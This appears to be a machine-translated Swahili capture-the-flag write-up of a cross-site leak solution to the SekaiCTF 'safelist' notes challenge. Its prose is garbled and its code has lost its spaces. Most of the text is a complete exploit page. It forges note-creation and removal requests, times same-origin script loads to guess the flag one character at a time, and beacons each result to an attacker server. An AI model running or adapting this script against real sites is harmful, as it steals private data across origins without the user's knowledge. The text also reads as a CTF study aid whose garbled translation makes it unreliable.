Katika hii exploit, @terjanq anapendekeza suluhisho lingine kwa changamoto iliyotajwa kwenye ukurasa ufuatao:
Hebu tuone jinsi hii exploit inavyofanya kazi:
Mshambuliaji ataingiza noti yenye <img tags nyingi kadri iwezekanavyo zinazopakia/js/purify.js (zaidi ya 6 ili kuzuia chanzo).
Kisha, mshambuliaji ata ondoanoti yenye index 1.
Kisha, mshambuliaji ata [fanya bot ipate ukurasa na noti iliyobaki] na atatuma ombio kwa victim.com/js/purify.js ambayo atafanya kiasi.
Ikiwa kiasi ni kikubwa, kuingizwa kulikuwa kwenye noti iliyobaki, ikiwa kiasi ni kidogo, bendera ilikuwa hapo.
Tbh, nikisoma script nilikosa sehemu ambapo mshambuliaji anafanya bot ipakue ukurasa ili kuamsha img tags, sioni chochote kama hicho kwenye msimbo
<html><head><script>constSITE_URL='https://safelist.ctf.sekai.team/';constPING_URL='https://myserver';functiontimeScript(){returnnewPromise(resolve => {var x =document.createElement('script');x.src ='https://safelist.ctf.sekai.team/js/purify.js?'+Math.random();var start =Date.now();x.onerror= () => {console.log(`Time: ${Date.now() - start}`); //Time requestresolve(Date.now() - start);x.remove();}document.body.appendChild(x);});}add_note=async (note) => {let x =document.createElement('form')x.action =SITE_URL+"create"x.method ="POST"x.target ="xxx"let i =document.createElement("input");i.type ="text"i.name ="text"i.value = notex.appendChild(i)document.body.appendChild(x)x.submit()}remove_note=async (note_id) => {let x =document.createElement('form')x.action =SITE_URL+"remove"x.method ="POST"x.target ="_blank"let i =document.createElement("input");i.type ="text"i.name ="index"i.value = note_idx.appendChild(i)document.body.appendChild(x)x.submit()}constsleep= ms =>newPromise(resolve =>setTimeout(resolve, ms));// }zyxwvutsrqponmlkjihgfedcba_constalphabet='zyxwvutsrqponmlkjihgfedcba_'var prefix ='SEKAI{xsleakyay';constTIMEOUT=500;asyncfunctioncheckLetter(letter){// Chrome puts a limit of 6 concurrent request to the same origin. We are creating a lot of images pointing to purify.js
// Depending whether we found flag's letter it will either load the images or not.// With timing, we can detect whether Chrome is processing purify.js or not from our site and hence leak the flag char by char.
constpayload=`${prefix}${letter}`+Array.from(Array(78)).map((e,i)=>`<img/src=/js/purify.js?${i}>`).join('');awaitadd_note(payload);awaitsleep(TIMEOUT);awaittimeScript();awaitremove_note(1); //Now, only the note with the flag or with the injection existshawaitsleep(TIMEOUT);consttime=awaittimeScript(); //Find out how much a request to the same origin takesnavigator.sendBeacon(PING_URL, [letter,time]);if(time>100){return1;}return0;}window.onload=async () => {navigator.sendBeacon(PING_URL,'start');// doesnt work because we are removing flag after success.// while(1){for(constletterof alphabet){if(awaitcheckLetter(letter)){prefix += letter;navigator.sendBeacon(PING_URL, prefix);break;}}// }};</script></head><body></body></html>